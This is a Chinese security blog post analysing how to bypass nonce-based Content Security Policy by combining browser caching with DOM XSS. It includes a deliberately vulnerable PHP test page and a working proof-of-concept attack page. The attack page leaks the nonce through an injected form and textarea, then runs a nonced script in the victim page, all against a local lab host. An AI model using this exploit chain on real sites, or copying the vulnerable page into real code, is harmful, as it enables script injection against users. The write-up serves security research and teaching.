通过浏览器缓存来bypass nonce script CSP

内容简介：通过浏览器缓存来bypass nonce script CSP

* 本文原创作者：LoRexxar，本文属于FreeBuf原创奖励计划，未经许可禁止转载

最近看了去年google团队写的文章CSP Is Dead, Long Live CSP!，对csp有了新的认识，在文章中，google团队提出了nonce-{random}的csp实现方式，而事实上，在去年的圣诞节，Sebastian 演示了这种csp实现方式的攻击方式，也就是利用浏览器缓存来攻击，现在来详细分析下。

漏洞分析

原文查看： http://sirdarckcat.blogspot.jp/2016/12/how-to-bypass-csp-nonces-with-dom-xss.html

国内的翻译（只有翻译）： http://paper.seebug.org/166/

首先我需要个demo

首先是实现了nonce script的站，然后包含了因为是利用了浏览器缓存，所以我们不能对页面发起请求，因为发起请求之后，后台就会刷新页面并刷新nonce的字符串，符合条件的只有3种。

1. 持久型 DOM XSS，当攻击者可以强制将页面跳转至易受攻击的页面，并且 payload 不包括在缓存的响应中（需要提取）。
2. 包含第三方 HTML 代码的 DOM XSS 漏洞（例如，fetch(location.pathName).then(r=>r.text()).then(t=>body.innerHTML=t);）
3. XSS payload 存在于 location.hash 中的 DOM XSS 漏洞（例如 https://victim/xss#!foo?payload=）

这里首先我们需要一个开启了nonce script规则的站，并加入一个xss点

/csp/test.php

<?php
function random_string( $length = 8 ) { 
  $chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; 
  $password = ''; 
  for($i = 0; $i < $length; $i++)
  { 
    $password .= $chars[ mt_rand(0, strlen($chars) - 1) ]; 
  } 
  return $password; 
} 
$random = random_string(12);
header('Content-Security-Policy: default-src \'none\'; script-src \'nonce-'.$random .'\';');
header('Cache-Control: max-age=99999999');
?>
<script nonce='<?php echo $random;?>'>document.write('URL ' + unescape(location.href))</script><script nonce='<?php echo $random;?>'>console.log('another nonced script')</script>

iframe引用

然后我们需要利用iframe引入这个页面，并对其发起请求获取页面内容，这里我们通过向其中注入一个<textarea>标签来吃掉后面的script标签，这样就可以获取内容。

attack.php
<iframe id="frame" src="[http://127.0.0.1/ctest/csp/test.php#](http://127.0.0.1/ctest/csp/test.php#)<form method='post' action='[http://127.0.0.1/ctest/nonce_receiver.php](http://127.0.0.1/ctest/nonce_receiver.php)'><input type='submit' value='test!'><textarea name='nonce'>"></iframe>
<script>
  function getNonce() { 
    var xhr = new XMLHttpRequest();
    xhr.open("GET", "nonce_receiver.php", false);
    xhr.send();
    return xhr.responseText;
  }
  setTimeout(pollNonce, 1000);
  function pollNonce() {
    var nonce = getNonce();
    if (nonce == "") {
      setTimeout(pollNonce, 1000);
    } else {
      attack(nonce);
    }
  }
  function attack(nonce) {
    var iframe = document.createElement("iframe");
    var url = "[http://127.0.0.1/ctest/csp/test.php#](http://127.0.0.1/ctest/csp/test.php#)"
    var payload = "<script nonce='" + nonce + "'>alert(document.domain)</scr" + "ipt>"
    var validationPayload = "<script>alert('If you see this alert, CSP is not active')</scr" + "ipt>"
    iframe.src = url + payload + validationPayload;
    document.body.appendChild(iframe);
  }
</script>